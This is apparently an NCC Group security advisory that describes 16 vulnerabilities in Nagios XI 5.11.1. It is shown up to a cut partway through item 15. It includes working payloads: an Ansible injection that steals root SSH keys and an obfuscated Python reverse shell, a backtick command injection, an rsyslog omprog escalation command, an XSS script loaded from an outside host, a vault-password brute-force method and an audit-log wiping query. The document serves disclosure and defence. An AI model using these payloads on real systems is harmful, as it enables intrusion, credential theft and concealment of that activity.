Normal view

There are new articles available, click to refresh the page.
Before yesterdayNCC Group Research

Technical Advisory – Multiple Vulnerabilities in Nagios XI

13 December 2023 at 13:52

Introduction

This is the second Technical Advisory post in a series wherein I audit the security of popular Remote Monitoring and Management (RMM) tools. (First: Multiple Vulnerabilities in Faronics Insight).

I was joined in this security research by Colin Brum, Principal Security Consultant at NCC Group.

In this post I describe the 16 vulnerabilities which myself and Colin discovered in Nagios XI v5.11.1 available at https://www.nagios.com/products/nagios-xi/. Nagios XI is a household name amongst server administrators. Nagios has been one of the go-to applications for remote monitoring and management for decades. As with the other applications in this series of blog posts, Nagios XI provides systems administrators with a central ‘hub’ to monitor and manipulate the state of computers (agents) deployed across the network.

The identified vulnerabilities can be found below by order of severity –

  1. Root RCE via Ansible Vault File Injection (CVE-2023-47401)
  2. Authentication Not Required For SSH Terminal Functionality
  3. Command Injection in Host Configuration Page (CVE-2023-47408)
  4. Remote Code Execution Via Custom Includes (CVE-2023-47400)
  5. Any Authenticated User Can Manipulate User and System Macros (CVE-2023-47412)
  6. Host Pivot Via Insecure Migration Process Ansible Vault Credentials (CVE-2023-47409)
  7. Local Privilege Escalation via rsyslog abuse (CVE-2023-47414)
  8. Recursive Filesystem Deletion as Root Via Backup Script (CVE-2023-47411)
  9. Stored Cross Site Scripting Vulnerability in Manage Users (CVE-2023-47410)
  10. Unintended Files Can Be Edited By Graph Editor Page (CVE-2023-47413)
  11. Missing Objects Page Lacks Authorization Controls (CVE-2023-47403)
  12. Nagios XI Database User Can Delete From Audit Log (CVE-2023-47399)
  13. Plaintext Storage of NRDP and NSCA Tokens (CVE-2023-47402)
  14. Portscanning Via Scheduled Backups (CVE-2023-47406)
  15. Sensitive Credentials Stored In Plaintext World Readable Files (CVE-2023-47407)
  16. Weak Default MySQL Credentials (CVE-2023-47405)

These vulnerabilities were all mitigated in version 5.11.4 of Nagios XI (the latest version at the time of writing).

1. Root RCE via Ansible Vault File Injection ( CVE-2023-47401)

Risk: Critical (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Impact

A malicious actor could obtain code execution with root privileges on any host running Nagios XI. The root user could perform any operation on the host and access, manipulate or destroy all sensitive data that it can manage.

Details

The application exposes a page (“http://server_hostname/nagiosxi/admin/migrate.php”) which allows admins to perform a ‘migration’ from the active Nagios XI server to another server. The UI prompts the user to supply an IP address and credentials for a remote host, this information is then POST’ed to the webserver.

The webserver passes the supplied arguments to the following command ‘sudo /usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php -a IP_ADDRESS -u USERNAME -p PASSWORD‘. Note that the command is executed as root, due to the use of the sudo command.

The `migrate.php` script creates an encrypted Ansible vault with contents like the following (after decryption) –

---
- name: Migrate Nagios Core
  hosts: all
  become: no
  remote_user: root
  
  vars:
    ansible_ssh_pass: 'NCC GROUP'
    ansible_sudo_pass: 'NCC GROUP'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core

The become_user, ansible_ssh_pass and ansible_sudo_pass fields are all populated by attacker supplied data.

During this research, it was observed that it is possible to supply a username parameter to the webserver along the lines of “research%0a%20%20name%20:”%7B%7B+lookup%28%5C%22pipe%5C%22%2C+%5C%22tar+-czf+-+%24HOME%2F.ssh%2F+2%3E%2Fdev%2Fnull+%7C+base64+-w0+%5C%22%29+%7D%7D”“, which decodes to the following –

Research
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"

Yielding a final YML file like the following –

---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: nothing
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"
  
  vars:
    ansible_ssh_pass: 'reachers'
    ansible_sudo_pass: 'reachers'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core

Ansible allows parameters to be overwritten in Playbooks, so it would essentially change the ‘name’ of the playbook to “{{ lookup(\”pipe\”, \”tar -czf – $HOME/.ssh/ 2>/dev/null | base64 -w0 \”) }}”.

When `migrate.php` runs the playbook as part of the migration process, the command within the lookup will be executed (as root).

A full attack path can be seen below. Vault injection –

$~ sudo cat 64d9661573ecc.yml 
---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: nothing
  name: "{{ lookup(\"pipe\", \"tar -czf - $HOME/.ssh/ 2>/dev/null | base64 -w0 \") }}"
  
  vars:
    ansible_ssh_pass: 'reachers'
    ansible_sudo_pass: 'reachers'

  roles:
    - role: /usr/local/nagiosxi/scripts/migrate/roles/migrate_core%

Content of the world-readable output.json file –

$~ head -n 15 output.json 
{
    "custom_stats": {},
    "global_custom_stats": {},
    "plays": [
        {
            "play": {
                "duration": {
                    "end": "2023-08-13T23:24:08.939666Z",
                    "start": "2023-08-13T23:24:06.765046Z"
                },
                "id": "bb271b0f-c872-2ccf-4edd-000000000006",
                "name": "H4sIAAAAAAAAA+2Xya6syLWGa8xTnDkq0yYkg5JM3yV9k8DEoidJeki6p7+5t3RtuayyJz63kfOTECFFoBXiXxFr/VPfL9Cf5rmCfvlpwG9IGP5+w//4/h4jOE4QKAGjGPoLjCA4fPnlx+XnbelvvOYlnn78+GV6/4h/tu5fzf8/Zfqr/o/sL9Mc/4wYXwITf6z/Bb6gv9MfvZBv/eGfsZnf8x+u/69fMLwo6z8Mk9cdR/ph2rJPu/wPlQ+/Z4EEY5qk08+YRaYoeC5ZzdNfMOJlTVr....snip

Decoded and extracted base64 –

$~ base64 -d > output.tar
H4sIAAAAAAAAA+2Xya6syLWGa8xTnDkq0yYkg5JM3yV9k8DEoidJeki6p7+5t3RtuayyJz63kfOTECFFoBXiXxFr/VPfL9Cf5rmCfvlpwG9IGP5+w//4/h4jOE4QKAGjGPoLjCA4fPnlx+XnbelvvOYlnn78+GV6/4h/tu5fzf8/Zfqr/o/sL9Mc/4wYXwITf6z/Bb6gv9MfvZBv/eGfsZnf8x+u/69fMLwo6z8Mk9cdR/ph2rJPu/wPlQ+/Z4EEY5qk08+YRaYoeC5ZzdNfMOJlTVrva8gnLfWKLPq/Yb6eZvsaZmeKlkvaAXr1PbW9P/5aGPI0EkTScdgbNemn1e7qwwyp7lbzw5RjLxRh/MhARGXJNGEJmIjPqmkrgEpPEVBDLzRhoHD7KOo0M+TeKlyUFTmRvygmyeEENEix8c5pMdEWiHTVrfQXKuojvoge/EbfAFVRAgbZoSStl11gU2fOgko/7QuIxfNKiNnY82VXE8rdS6l7PuF3FhJHzeLcfLZP0jhZ1B1n4JSPcSMKTGYQC0v1ub5ChjZhEp5p+8TmG3nJwBO5lOuKJ0HDoVvC1tJ1SEK2wkMICXXePtMYkGjqtY0bJV0tsVB63XWuk4Z7BXSYtbV7l+FFpITgUUMb8hBV6 [SNIP]
$~ tar xvf output.tar    
root/.ssh/
root/.ssh/id_rsa
root/.ssh/id_rsa.pub

A similar example, where a root reverse shell is returned is shown below: –

---
- name: Migrate Nagios Core
  hosts: all
  become: yes
  remote_user: research
  name: "{{ lookup(\"pipe\", \"python -c 'import socket,os,pty,base64;s=socket.socket();s.connect((chr(49)+chr(57)+chr(50)+chr(46)+chr(49)+chr(54)+chr(56)+chr(46)+chr(49)+chr(50)+chr(48)+chr(46)+chr(49)+chr(51)+chr(49),8081));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(chr(0x62)+chr(0x61)+chr(0x73)+chr(0x68))'  \") }}"

A reverse shell as the root user is returned.

2. Authentication Not Required For SSH Terminal Functionality

Risk: High (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

Impact

Successful exploitation of a bespoke webshell like this would enable an attacker to fully compromise the webserver host.

Details

During this vulnerability research it was observed that Nagios XI exposes a webshell at http://server_url/nagiosxi/terminal/. Webshell access does not require the user to be authenticated with Nagios XI and it is exposed on all network interfaces, meaning that any attacker on the same network as the Nagios XI webserver can interact with it.

The webshell used can be found hosted here https://github.com/shellinabox/shellinabox. It is a large and complex application written in the C programming language. Analysis of the commits in the above Git repository indicate that the application has not been updated in 4 years, and a release has not been made since 2016.

Due to the fact that this webshell does not require the user to be authenticated with Nagios XI, it is possible for an attacker on the same network as the Nagios XI server to begin fuzzing the webshell in order to attempt to compromise it to gain unauthenticated code execution on the host.

Ultimately the use of a no-longer-maintained, heavily outdated webshell such as `shellinabox` introduces risk to every installation of Nagios XI. This risk is compounded by the lack of a requirement for the user to be logged into Nagios XI.

3. Command Injection in Host Configuration Page (CVE-2023-47408)

Risk: High (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L)

Impact

Nagios XI takes care to ensure that administrators cannot obtain direct shell access on the Nagios XI server without first having valid credentials for the host.

Exploitation of this finding would allow an administrator to gain command execution on the host, which would enable them to begin the process of exploiting all agents connected to the server.

Details

Administrators can define ‘services’ within Nagios XI. These ‘services’ are essentially a set of scripts that the server executes to check if a particular service or process on an agent is operating correctly.

Administrators select from a drop-down list of scripts, and then they can supply arbitrary amounts of arguments to the script, often including a $HOSTNAME parameter indicating which host the script should be executed against.

The image above shows the service management page, complete with unfilled argument templates.

Administrators enter values in the `$ARG1$` and `$ARG2$` input boxes, which are placed into the command when it is executed as part of scheduled/forced checks against a host.

During this vulnerability research it was observed that administrators can perform a command injection attack on the Nagios server by entering commands surrounded by backticks within the argument input boxes.

For example, taking the `check_xi_host_http` script as an example –

The command injection payload within `$ARG1$` results in a new file being created in `/tmp/test1` containing the current date/time whenever the service check executes.

$~ cat /tmp/test1
cat: /tmp/test1: No such file or directory
$~ cat /tmp/test1
Mon 14 Aug 2023 06:16:06 AM EDT

This flaw could be abused to create a reverse shell connection to an attacker’s machine, enabling them to fully compromise the Nagios XI server.

4. Remote Code Execution Via Custom Includes (CVE-2023-47400)

Risk: High (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:L)

Impact

Consequences of this RCE range from complete host compromise, complete database compromise and compromise of all agents with SSH keys registered with Nagios XI.

Details

A Nagios XI server exposes a “Custom Includes” feature at the URL “http://server_hostname/nagiosxi/includes/components/custom-includes/manage.php” which allows administrators to add custom assets to the application, specifically images, JavaScript files and CSS files.

Numerous controls have been implemented which attempt to prevent users from uploading PHP files, indicating that this is a risk that Nagios developers acknowledge and are keen to avoid. These controls are –

  • A `.htaccess` file which explicitly prevents PHP code from executing and forcibly sets the Content-Disposition to ‘attachment’ which prevents files from rendering, they are instead downloaded upon access.
  • A requirement for image files to begin with valid image ‘magic bytes’.
  • A requirement for all uploaded filenames to contain an expected file extension (.css, .jpg, .js, etc.)

After uploading files, the application allows developers to rename uploaded files using a rename utility built into the Custom Includes page.

NCC Group researchers were able to bypass each of the above restrictions using the following steps –

  • Upload a valid image named “test.jpg”
  • Use the rename feature of Custom Includes to rename the image to “.htaccess” (which has the effect of overwriting the existing `.htaccess` file)
  • Rename the file to “test.jpg” again, resulting in there being no `.htaccess` file present
  • Upload a file named “exploit.jpg.php” with the following contents –

An optional step at this point is to abuse the site’s rename functionality to rename ‘exploit.jpg.php’ to ‘exploit.php’, and then access the uploaded file at “http://server_hostname/nagiosxi/includes/components/custom-includes/images/exploit.php

A simple phpinfo() payload is displayed here as a proof of concept, however this could have been any malicious PHP code to compromise the host.

5. Any Authenticated User Can Manipulate User and System Macros (CVE-2023-47412)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)

Impact

Any authenticated user can steal credentials from user macros if the “Redacted Macros” setting is disabled, and can modify existing user and system macros to provoke denial of service conditions (for macros which contain credentials to services) and cause the server to leak useful/sensitive info to all authenticated users (via System Macros)

Details

User Macros

‘User macros’ is a feature of the application which allows administrators to store secrets in a configuration file as opposed to hardcoding them in host commands etc. (for security purposes)

User macros can be set and viewed under `Configure -> Core Config Manager -> User Macros`. This is intended to be an administrator only feature, given that freshly created users have their ‘Core Config Manager’ setting disabled by default.

Low-privileged users can access these macros directly by navigating to “http://server_hostname/nagiosxi/includes/components/usermacros/index.php”. If “redacted macros” has been disabled in config, all the sensitive macros will be displayed to the user here.

Intended functionality is that if “redacted macros” is enabled, it is not possible for an administrator to modify the User Macros – the text box is grey, the update button is disabled, and all fields are redacted. During this vulnerability research it was observed that even if `redacted macros` is enabled, and it is impossible to modify the User Macros file via the UI, it is still possible for any authenticated user to modify the User Macros by simply sending an appropriately formatted HTTP request to the above URL, as shown below – 

curl 'http://server_hostname/nagiosxi/includes/components/usermacros/?mode=overwrite content=NCC%20GROUP' --compressed -X POST  -H 'Cookie: nagiosxi=COOKIE_VALUE'

Resulting in the file being successfully truncated, with all prior secrets lost –

$~ cat /usr/local/nagios/etc/resource.cfg
NCC GROUP
$~

This attack was performed by a user who has had their ‘Core Config Manager Access’ field set to ‘None’ –

Any authenticated user can also exploit this flaw by using the `update` mode of operation, even when the config is not intended to be writable, via a GET request to the following URL “http://server_hostname/nagiosxi/includes/components/usermacros/index.php?mode=update macro=NCC%20GROUP new_value=53”.

System Macros

Additionally, via the same URL, any authenticated user can access and change the `System Macro` settings too. In this case, though, the Update button is present and available for any user to press.

Once again, this is intended to be a feature which is only exposed to privileged users.

6. Host Pivot Via Insecure Migration Process Ansible Vault Credentials (CVE-2023-47409)

Risk: Medium (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

Impact

An attacker who has successfully compromised and gained root on a Nagios XI server can retrieve privileged credentials for third party hosts from encrypted Ansible vault files.

Details

As part of Nagios XI installation, the installer adds the following line to `/etc/sudoers` –

User_Alias NAGIOSXI=nagios
............ SNIP ............
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/migrate/migrate.php *

The nagios user is allowed to execute the above script as root, to migrate the Nagios server to another server. The script accepts a hostname, a root or sudoer username and the corresponding password for that account. Those credentials are then placed into a YML file which is encrypted with an Ansible “vault password”.

The Ansible encrypted vault file is later used by `migrate.php` to migrate the Nagios server to a remote server using the Ansible application. These encrypted YML files are not deleted when the migration is completed.

Within `migrate.php` are the following lines of interest –

// O.B NCC => run_migration_ansible():83 
$dir = get_root_dir() . '/scripts/migrate';
$job_name = uniqid();                      
// O.B NCC => vault_password is predictable, value is derived from current millis
$vault_password = uniqid();                
$job_dir = $dir.'/jobs/'.$job_name;        
$yml_file = file_get_contents($dir."/templates/migrate_core.yml");

// O.B NCC => SNIP

copy($dir.'/templates/ansible.cfg', $job_dir.'/ansible.cfg');
$job_file = $job_dir.'/'.$job_name.'.yml'; 

// O.B NCC => $job_file now contains the credentials
file_put_contents($job_file, $yml_file);   

// Add hosts and password file
file_put_contents($job_dir.'/hosts', $address);
file_put_contents($job_dir.'/.vp', $vault_password); 

// Make encrypted ansible playbook to protect passwords
$cmd = "echo -n '".$vault_password."' | ansible-vault encrypt --vault-password-file=".$job_dir.'/.vp'." ".$job_file." --output ".$job_file;

// O.B NCC => $job_file is now encrypted using the vault password. It is not deleted at the end of the migration process 

The PHP `uniqid` function generates a ‘unique identifier’ by taking the current clock milliseconds, concatenating the current microseconds and encoding it as a hexadecimal string.

`uniqid` outputs a hexadecimal figure which represents the current timestamp in seconds (8 hex characters) concatenated with the current microseconds (5 hex characters).

The PHP documentation notes that “This function does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.”

Taking `64cb047ea475b` as an example, when it is decoded to decimal the seconds portion is 1691026558 and the microseconds portion is 673627.

Because the $vault_password variable is created with the PHP `uniqid` function, it is trivial for an attacker who has compromised the local Linux root user account to obtain access to privileged credentials of a remote machine by doing the following –

  • Navigating to any job directory within `/usr/local/nagiosxi/scripts/migrate/jobs/`
  • Running `stat -t NAME_OF_JOB_FILE | cut -d” ” -f 12` on the encrypted job file
  • Convert the timestamp from `stat` to hexadecimal
  • Start brute-forcing Ansible vault decryption from TIMESTAMP_HEX00000 all the way to TIMESTAMP_HEXFFFFF
    • Or, for a neater example using the timestamp above: `64cb047e00000` to `64cb047eFFFFF`

Because most of the vault password is known (from the time that the vault was created), the key space to decrypt an impacted YML file is only 00000-FFFFF or 1,048,575 potential guesses at worst (which are performed entirely offline).

Given that only a few milliseconds pass between the file being created and the file being encrypted and given that the name of the job file is also derived using `uniqid()`, it is possible to guess the password within around 10 guesses simply by incrementing the last hex digit of the job’s filename.

A small proof of concept was written which abuses this flaw to retrieve remote root/sudoer credentials from job files –

Credentials for a remote host were successfully decrypted and extracted.

7. Local Privilege Escalation via rsyslog abuse (CVE-2023-47414)

Risk: Medium (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N)

Impact

Compromise of the syslog user allows an attacker to read all files under `/var/log`, amongst other directories. Access to these directories is heavily guarded due to the potential for secrets (credentials, session IDs, PII) to be present within log files.

Details

As part of its installation, Nagios XI adds the following line to `/etc/sudoers` –

NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/send_to_nls.php *

This line allows the local nagios user to execute `send_to_nls.php` as root with any number of arguments. The script dynamically generates a new rsyslog file using the following code –

$file_content = '
# Automatically generated by Nagios XI. Do not edit this file!

$ModLoad imfile
$InputFilePollInterval 10
$PrivDropToGroup adm
$WorkDirectory '.$spool_directory.'
# .... NCC O.B SNIPPED ....
$InputFilePersistStateInterval 20000
$InputRunFileMonitor

# Forward to Nagios Logserver and then discard.
if $programname == \'' . $tag . '\' then @@' . $hostname . ':' . $port . '
if $programname == \'' . $tag . '\' then ~';

file_put_contents($conf_file, $file_content);

finish();

function finish() {
    //restart rsyslogd
    $cmdline = "service rsyslog restart";
    echo exec($cmdline, $out, $rc);

    exit($rc);
}

In the line above marked in bold, the `$port` variable is not sanitized or validated as being an integer prior to being written to the rsyslog file.

No sanitization on this variable means that a local attacker can inject arbitrary content into new rsyslog files, gaining code execution as the syslog user. For example, consider the following use of `send_to_nls.php` –

sudo php /usr/local/nagiosxi/scripts/send_to_nls.php hostname "`printf '53\n\nmodule(omprog)\naction(type=\"omprog\" binary=\"/tmp/runsAsSyslog \")'`" tag file

Observe that instead of supplying an integer port argument, we have supplied “`printf ’53\n\nmodule(omprog)\naction(type=\”omprog\” binary=\”/tmp/runsAsSyslog \”)’`”

Executing this command creates a new rsyslog file with the following contents –

# Automatically generated by Nagios XI. Do not edit this file!

$ModLoad imfile
$InputFilePollInterval 10
$PrivDropToGroup adm
$WorkDirectory /var/spool/rsyslog

# Input for file
$InputFileName file
$InputFileTag tag:
$InputFileStateFile nls-state-64cb1a2feedb9 # Must be unique for each file being polled
# Uncomment the folowing line to override the default severity for messages
# from this file.
#$InputFileSeverity info
$InputFilePersistStateInterval 20000
$InputRunFileMonitor

# Forward to Nagios Logserver and then discard.
if $programname == 'tag' then @@hostname:53

module(omprog)
action(type="omprog" binary="/tmp/runsAsSyslog")
if $programname == 'tag' then ~

When this script is evaluated by the operating system, the bold `omprog` expression in the penultimate line will attempt to execute `/tmp/runsAsSyslog` as an executable file.

8. Recursive Filesystem Deletion as Root Via Backup Script (CVE-2023-47411)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N)

Impact

Recursive deletion of the server filesystem contents, meaning that all databases, all host details, all config, backups, and custom code/assets will be deleted.

Details

As part of Nagios XI installation, the installer adds the following line to `/etc/sudoers` –

NAGIOSXI ALL = NOPASSWD:/usr/local/nagiosxi/scripts/backup_xi.sh *

This line denotes that the `nagios` user is allowed to execute the `backup_xi.sh` script as root without supplying a password. The `*` suffix indicates that the script accepts any number of user-supplied arguments.

Whilst reading the script at `/usr/local/nagiosxi/scripts/backup_xi.sh` the following lines were observed:

###############################
# USAGE / HELP
###############################
usage () {
    echo ""
    echo "Use this script to backup Nagios XI."
    echo ""
# .... NCC O.B SNIP ....
###############################
# ADDING LOGIC FOR NEW BACKUPS
###############################
while [ -n "$1" ]; do
    case "$1" in
        -h | --help)
            usage
            exit 0
            ;;
        -n | --name)
	# NCC O.B => attacker supplied fullname variable
            fullname=$2
            ;;
        -p | --prepend)
            prepend=$2"."
            ;;
        -a | --append)
            append="."$2
            ;;
        -d | --directory)
            # NCC O.B => attacker supplied rootdir variable
            rootdir=$2
            ;;
    esac
    shift
done

Both the `$rootdir` and `$fullname` variables are attacker controlled. Later in the script, the attacker-controlled variables are used as follows –

# NCC O.B => Check if $rootdir has a value
if [ -z "$rootdir" ]; then
    rootdir="/store/backups/nagiosxi"
fi

# NCC O.B SNIP
# NCC O.B => $name is now attacker controlled
name=$fullname

# NCC O.B => Check if $fullname has a value
if [ -z "$fullname" ]; then
    name="$prepend$ts$append"
fi

# Clean the name
# NCC O.B => Leave only periods, alphanumerics, pipes and hyphens in the name
name=$(echo "$name" | sed -e 's/[^[:alnum:].|-]//g')

# Get current Unix timestamp as name
if [ -z "$name" ]; then
    name="$ts"
fi

# My working directory
# NCC O.B => now $mydir is a concatenation of the cleaned user supplied name and the unclean $rootdir
mydir=$rootdir/$name

Finally, after all of the backups are complete (regardless of success or failure), the following code executes –

##############################
# COMPRESS BACKUP
##############################
echo "Compressing backup..."
tar czfp "$name.tar.gz" "$name"

# NCC O.B => BUG HERE
rm -rf "$name"

# Change ownership
chown "$nagiosuser:$nagiosgroup" "$name.tar.gz"

if [ -s "$name.tar.gz" ];then

    echo " "
    echo "==============="
    echo "BACKUP COMPLETE"
    echo "==============="
    echo "Backup stored in $rootdir/$name.tar.gz"

    exit 0;
else
    echo " "
    echo "==============="
    echo "BACKUP FAILED"
    echo "==============="
    echo "File was not created at $rootdir/$name.tar.gz"
    # NCC O.B => BUG HERE
    rm -r "$mydir"
    exit 1;
fi

As noted above by the two `BUG HERE` labels, there are two key bugs present here, both stemming from the same root cause.

If an attacker supplies a `name` parameter of `.` (a single period, which will satisfy the `sed` command which cleans the supplied filename) and a `rootdir` parameter of `/` (a single slash) then the script will execute `rm -rf .`, recursively removing all files and directories from the directory specified within the command downwards.

Because the attacker controls `$rootdir`, and the script starts by executing `cd $rootdir`, this line of code has the potential to delete the entire filesystem (directly equivalent to executing `rm -rf /`).

An attacker who has compromised the Nagios user could abuse this flaw to recursively remove all files from the filesystem post-compromise.

9. Stored Cross Site Scripting Vulnerability in Admin’s User Management Page (CVE-2023-47410)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N)

Impact

Consequences of a stored Cross-Site Scripting vulnerability being exploited generally range from site defacement, account takeover, CSRF, and sophisticated phishing attacks.

Details

During this vulnerability research it was observed there is a lapse in output encoding in the Admin-only user profile modification page at “http://server_hostname/nagiosxi/admin/users.php?edit=1 user_id[]=4” (for example). For example, assume a malicious administrator creates a new user with a username containing a JavaScript payload, such as –

nagios3”);</script></script src=”https://nc.ci/1.js”></script>

When another administrator attempts to view that user’s profile by clicking on their username in “http://nagios_server/nagiosxi/admin/users.php”, the JavaScript payload in the username will execute in the victim’s browser –

The root cause of this vulnerability has been traced to this inline JavaScript in the admin user management page –

$('.set-random-pass').click(function() {
            var newpass = Array(16).fill("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz").map(function(x) { return x[Math.floor(Math.random() * x.length)] }).join('');
            $('input[name=password1]').val(newpass);
            $('input[name=sendemail]').prop('disabled', false).prop('checked', true);
        });

                $('#updateForm').submit(function(e) {
            // NCC C.B => Here
            if (updateButtonClicked    $('#usernameBox').val() != "nagios3”);</script></script src="https://nc.ci/1.js"></script>") {
                var go_ahead_and_change = confirm("Changing your username is not recommended. But if you wish to proceed, you should be warned that it may take a while to take effect depending on your configuration. Do you wish to proceed?");
                if (!go_ahead_and_change) {
                    e.preventDefault();
                }
            }
        });
            });
    </script>

Essentially the user’s username is being concatenated unsafely into the inline JavaScript by `users.php`, resulting in the potential for JavaScript execution.

10. Unintended Files Can Be Edited by Graph Editor Page (CVE-2023-47413)

Risk: Medium (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L)

Impact

An attacker with administrator privileges can modify PHP files to execute arbitrary code on the host and maintain access for future exploitation.

Details

The Graph Templates page (http://server_hostname/nagiosxi/admin/graphtemplates.php) provides admins with the ability to supply and edit ‘graph template’ files which, by default, reside within –

  • /usr/local/nagios/share/pnp/templates/
  • /usr/local/nagios/share/pnp/templates.dist/
  • /usr/local/nagios/share/pnp/templates.special/

When the edit button is selected in the UI, the URL changes to, for example, “http://server_hostname/nagiosxi/admin/graphtemplates.php?edit=check_local_disk.php dir=templates” which allows a user to edit the file “/usr/local/nagios/share/pnp/templates/check_local_disk.php”

While there are impressively robust controls in place to prevent path traversal attacks outside of “/usr/local/nagios/share/pnp/”, NCC Group researchers observed that, by supplying a `dir` parameter of either `/` or `..` (which the Nagios server replaces with  `/`), it was possible to edit other PHP files within the parent directory.

Specifically, it is possible to edit the following files in the “/usr/local/nagios/share/php/” directory –

  • index.php
  • ajax.php
  • zoom.php

Because these files are not listed within the graph template list in the UI, it is assumed that they are not intended to be editable by administrators.

Exploitation of this flaw is demonstrated below –

11. Missing Objects Page Lacks Authorization Controls (CVE-2023-47403)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)

Impact

A low privileged (non-admin user) can abuse this page to change CCM settings, clear the `Missing Objects` list and apply configuration (causing a new snapshot to be generated).

Details

One of the many Nagios XI features available to administrators is the “Missing Objects” page at `/nagiosxi/admin/missingobjects.php`.

According to the page, it allows admins to –

[..] delete unneeded host and services or add them to your monitoring configuration through this page. Note that a large amount of persistent unused passive checks can result in a performance decrease.

As part of the operation of this page, it is possible to ‘apply’ changes which has the result of generating a new configuration snapshot on disk.

During this vulnerability research it was observed that this page and all its features are available to all authenticated users, regardless of whether they are administrators or not.

Allowing non-admin users to access this page increases the risk of an attacker making harmful configuration changes, deleting, or manipulating Missing Object records, and creating arbitrary amounts of configuration snapshots until the snapshot disk/partition is filled.

12. Nagios XI Database User Can Delete From Audit Log (CVE-2023-47399)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N)

Impact

The ability to clear the audit log table after a successful compromise will make it significantly more difficult for an administrator or Incident Response team to establish how the initial compromise occurred, and fix the flaw.

Details

The `nagiosxi.xi_auditlog` table is a granular source of information about a user’s activities within the Nagios XI web application.

Allowing the `nagiosxi` database user to have full CRUD control over the audit logs makes it significantly easier for an attacker to successfully mask their activities after a successful host compromise via the web application.

Malicious activities could be trivially obscured using simple MySQL queries such as `update xi_auditlog set message=”” where auditlog_id>94;`

Removing the `nagiosxi` user’s ability to update/delete records in this table is beneficial as, in the event of a compromise, this audit log may help IR teams to identify how the application was compromised.

13. Plaintext Storage of NRDP and NSCA Tokens (CVE-2023-47402)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

An attacker who has compromised the database will gain the ability of submitting data to remote Nagios instances, and potentially to submit malformed/malicious palyloads to the compromised Nagios instance.

Details

Nagios XI offers an admin-only feature to configure “Inbound Transfer” and “Outbound Transfer” settings. These settings allow the administrator to supply data such us credentials, protocol or IP addresses for third party Nagios NRDP/NSCA servers, and to configure an authorization token for 3rd parties to supply data to the local Nagios server.

While enumerating Nagios’s `nagiosxi` database, NCC Group researchers observed that each of the credentials supplied in Inbound/Outbound Transfer settings were stored in the `xi_options` database table in plaintext, as shown below.

$ SELECT * FROM xi_options
.... SNIPPED ....
63 | nrdp_target_hosts | a:1:{1:0;a:3:{s:7:"address";s:15:"192.168.120.132";s:6:"method";s:4:"http";s:5:"token";s:18:"NRDP Auth Token!53";}}
.... SNIPPED ....
59 | nsca_target_hosts | a:1:{1:0;a:3:{s:7:"address";s:15:"192.168.120.132";s:10:"encryption";s:1:"8";s:8:"password";s"12":"AFancyDog!53"}}


The same is true for the Inbound Transfer settings, all inbound settings are present in plaintext –

$ SELECT * FROM xi_options
.... SNIPPED ....
56 | inbound_nrdp_tokens | pXMli0MeeZ9o

It appears that other sensitive fields are also persisted in plaintext too, namely –

  • “nsca_password”
  • “smtp_username”
  • “smtp_password”

14. Time-Based Port scanning Via Scheduled Backups (CVE-2023-47406)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

Attackers can abuse this kind of port scanning attacks to determine whether services are listening on interesting ports. Attackers can then leverage this information to, for example, abuse other features of the application (such as numerous Nagios API monitoring plugins) to submit arbitrary traffic to these ports on localhost. The ability to determine if a port is open and submit traffic to it can often allow an attacker to submit known exploit proof-of-concept scripts to the services for code execution.

Details

The `System Backups -> Scheduled Backups` feature of Nagios XI allows administrators to test whether they are able to successfully connect to an FTP server. The feature allows admin users to supply both a server hostname/IP and a TCP port.

During this research it was observed that if an attacker supplies a server IP of 127.0.0.1 (localhost) and a random port which is open/listening, the application would take a couple of seconds to reply that it failed to connect. However, if an attacker supplies a port parameter for a port which is not listening on localhost, the application would return the same error almost instantaneously.

This discrepancy in error message timings when the port is closed versus when the port is open allows an attacker to  perform a port scan against the server and obtain information about which ports are listening on localhost. As noted above, by itself this is not a particularly severe flaw, however it forms a key part of an attacker’s ability to fully enumerate the webserver and formulate a plan for compromising it.

NCC Group consultants were also able to abuse this feature to portscan internal IP addresses of other machines on the network, too.

15. Sensitive Credentials Stored in Plaintext World Readable Files (CVE-2023-47407)

Risk: Low (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)

Impact

Consequences of highly privileged access to MySQL server can range from code execution, Nagios agent compromise, and Nagios server denial of service.

Details

Nagios XI stores all configuration data in a file named `config.inc.php` within ` /usr/local/nagiosxi/html`. This file contains –

  • Plaintext database credentials (server, port, username, password)
  • The location of the `htpasswd` file
